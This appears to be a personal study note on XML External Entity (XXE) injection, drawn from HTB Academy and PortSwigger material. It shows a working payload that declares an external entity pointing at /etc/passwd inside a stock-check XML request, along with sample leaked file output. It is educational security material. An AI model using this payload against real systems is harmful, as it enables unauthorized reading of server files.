# XXE

> Source HTB Academy and Portswigger

## What is XXE

XML External Entity (XXE) Injection vulnerabilities occur when XML data is taken from a user-controlled input without properly sanitizing or safely parsing it, which may allow us to use XML features to perform malicious actions. XXE vulnerabilities can cause considerable damage to a web application and its back-end server, from disclosing sensitive files to shutting the back-end server down.

## Exploiting XXE to retrieve files

> Source: Portswigger

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```

The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

This XXE payload defines an external entity \&xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application's response to include the contents of the file:

```bash
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

## Resources

* [Portswigger Web Security Academy - XXE](https://portswigger.net/web-security/xxe)


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